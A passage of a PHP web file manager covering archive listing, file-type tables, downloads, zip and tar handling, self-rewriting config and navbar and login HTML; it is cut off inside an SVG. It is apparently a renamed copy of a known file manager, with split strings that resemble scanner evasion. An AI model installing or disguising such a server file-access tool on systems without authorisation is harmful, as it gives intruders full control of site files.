                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' and class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}


function fanco($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}


function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[DN_CESSION_ID]['message'] = $msg;
    $_SESSION[DN_CESSION_ID]['status'] = $status;
}


function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}


function fm_convert_win($filename)
{
    if (FM_IS_WIN and function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}


function fm_object_to_array($obj)
{
    if (!is_object($obj) and !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}


function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}


function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}


function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}


function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}


function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
        'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
        'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
        'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
    );
}


function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}


function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}


function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}


 function scan($dir = '', $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}


function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }


    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }


    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'gilour<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) and count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}


function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}


function fm_show_message()
{
    if (isset($_SESSION[DN_CESSION_ID]['message'])) {
        $class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
        unset($_SESSION[DN_CESSION_ID]['message']);
        unset($_SESSION[DN_CESSION_ID]['status']);
    }
}


function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="gilour">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('css-bootstrap'); ?>
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 